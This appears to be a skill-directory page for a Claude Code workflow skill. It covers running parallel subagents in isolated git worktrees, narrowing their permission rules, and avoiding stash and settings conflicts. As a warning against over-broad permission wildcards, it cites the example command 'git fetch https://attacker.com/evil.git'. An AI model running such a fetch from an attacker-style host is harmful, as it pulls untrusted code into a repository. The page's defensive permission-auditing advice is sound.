一键导入
super-duper-tdd-cat
Brainstorm+TDD workflow using an isolated git worktree with subagent-driven-development
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Brainstorm+TDD workflow using an isolated git worktree with subagent-driven-development
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Render a single "where am I, what have I done, what's next" survey HTML page composing anchor cascade + tesseract shelf + git state + CHECKPOINT.md + TaskList. Read-only by design.
Subagent-driven development as the explicit combination of /subagent-driven-development (sequential, review-gated execution) and /dispatching-parallel-agents (independent fan-out). Opens with one combined pre-dispatch question to set the execution mode and the edit-approval mode, then dispatches accordingly.
Use when a discrete task boundary is crossed in multi-step work — step completion, subagent dispatch return, Skill-tool invocation return, /proceed gate passed, test-run completion, or file-write to a durable artifact (spec, plan, SKILL.md). Do not substitute an in-place TaskList update for this skill.
Use when resuming paused work, starting a session where a CHECKPOINT.md exists, or when the user says "continue from checkpoint", "resume", or "pick up where we left off"
Use when pausing work that will be resumed later, when switching contexts, or when the user asks to save a checkpoint. Creates a CHECKPOINT.md that captures full resumption context.
retry last operation attempted before the user interrupted the process, or otherwise continue last attempted tool use
| name | super-duper-tdd-cat |
| description | Brainstorm+TDD workflow using an isolated git worktree with subagent-driven-development |
| argument-hint | <task-description> |
| user-invocable | true |
/super-tdd but using /duper with /cat
When this skill fans out parallel hypothesis-testing subagents (via the Agent
tool with isolation: "worktree"), four failure modes have been observed under
parallel-fanout pressure. Address all four when writing subagent prompts and
configuring the surrounding session.
The dispatched subagent's cwd IS its isolated worktree. The Agent tool puts it there. Do NOT include the parent worktree's absolute path in the prompt as "context" — the subagent will treat it as an edit target if its path-resolution logic misfires, and edit the parent's files instead of its own.
Pressure rationalization to refuse: "front-loads all necessary context (location, hypothesis, expected HEAD SHA, stash name) so the stateless subagent can orient immediately without back-communication." False — the subagent's own cwd already provides location. Branch name + commit hash + stash name are load-bearing context; the parent worktree's filesystem path is not.
Concrete rule for subagent prompts:
<feature-branch>).<sha>) for sanity-check assertions.git stash apply stash^{/<message>}).app/lib/..., test/...).git switch -c <name> <local-branch> over git fetchThe subagent's worktree shares the parent repo's .git/objects and refs. To
move from the auto-created branch (off main) to a feature branch, use a local
ref:
git switch -c agent- <hypothesis-name> <feature-branch>
This is additive (creates a new branch starting from the local ref) and
local-only (no network, no remote URLs in scope). Adding
Bash(git switch -c *) to the operator's allow list is safe.
Do NOT propose Bash(git fetch *) for subagent dispatch perms. The wildcard
accepts arbitrary URLs — git fetch https://attacker.com/evil.git is permitted.
Subagents fetching parent-repo state don't need network reach.
Pressure rationalization to refuse: "subagents need fetch + checkout for setup, allow them." Audit each wildcard before adding:
* accept URLs? (fetch, clone, push, pull)* permit silent file overwrite or branch rewrite?
(checkout includes checkout -- <file>; reset includes --hard)Default to the narrowest pattern. Specific session-tested set for hypothesis
fan-out: Bash(git switch -c *), Bash(git stash apply *),
Bash(git stash push *). Nothing else needed for branch-from-local-ref +
WIP-stash-apply + pre-flight-stash workflows.
git stash apply only — never pop or dropMultiple parallel subagents may need the same WIP stash. git stash pop removes
the stash on success; git stash drop removes it unconditionally. Either breaks
the parallel siblings. Stashes accumulate intentionally; operator cleans up at
session end.
Pressure rationalization to refuse: "subagents should clean up after
themselves with pop so stashes don't dangle." False — accumulation is the
feature. The operator may want to inspect post-mortem; a sibling worker may need
the same stash; a retry round may re-apply it.
Allow Bash(git stash apply *) and Bash(git stash push *) (push is for
pre-flight; see §5). Never Bash(git stash pop *) or
Bash(git stash drop *).
Permission resolution for a subagent walks up from its cwd:
<main-checkout>/.claude/worktrees/agent-<id>/.claude/ ← agent's own (auto-created, default minimal)
<main-checkout>/.claude/worktrees/agent-<id>/... (parent dirs)
<main-checkout>/.claude/ ← main-checkout's project settings ✓ visible
~/.claude/ ← user-global ✓ visible
Sibling-worktree settings (e.g. <main-checkout>/.worktrees/<branch>/.claude/)
are never reached — they are sibling trees in the path-walk graph, not
ancestors of the subagent's cwd.
Pressure rationalization to refuse: "I have my worktree's
.claude/settings.local.json open; I'll add the perms there and commit them to
my branch." False — that file's perms are visible only to the operator working
in that worktree, not to the subagents that spawn off main into the shared
.claude/worktrees/ tree.
To make subagent perms visible, add them to ONE of:
~/.claude/settings.json (user-global; broadest scope; persists across
sessions and projects). Best for cross-project subagent-dispatch perms like
Bash(git switch -c *).<main-checkout>/.claude/settings.local.json (project-scoped; visible to any
subagent that spawns inside the project's .claude/worktrees/). Best for
project-specific subagent perms.Avoid sibling-worktree settings for subagent dispatch perms.
.claude/settings.local.jsonWhen a subagent's worktree is created, Claude Code may auto-create
<agent-worktree>/.claude/settings.local.json (untracked). If the target
feature branch tracks the same path with different content, git switch -c
refuses with "untracked working tree file would be overwritten by checkout."
Workaround inside the subagent prompt: stash the auto-created file before switching:
git stash push -u -m "agent-<name>-claude-config" .claude/settings.local.json
git switch -c agent- <name> <feature-branch>
Each subagent leaves its own claude-config stash on the shared refs/stash
ledger. Do not have subagents drop these (per §3). Operator cleans up at
session end.
Structural alternative: untrack .claude/settings.local.json in the target
branch (git rm --cached + restore the gitignore line + commit). Eliminates the
conflict entirely. Choose this when the file's branch-tracked content is
redundant with canonical settings.
| Failure mode | Counter |
|---|---|
| Absolute-path leak in subagent prompt | Relative paths + branch name only |
Bash(git fetch *) proposed for setup | Use Bash(git switch -c *); audit wildcards |
git stash pop/drop proposed for cleanup | apply only; stashes accumulate by design |
| Perms in sibling-worktree settings | Use canonical ~/.claude/settings.json or main-checkout's |
| Auto-created settings.local.json blocks switch | Pre-flight stash, or untrack in target branch |
These are not abstract style notes. Each one was observed firing under
parallel-fanout pressure — see evals/iteration-1/eval-{F1,F5,F6}/baseline/ for
the captured rationalization receipts.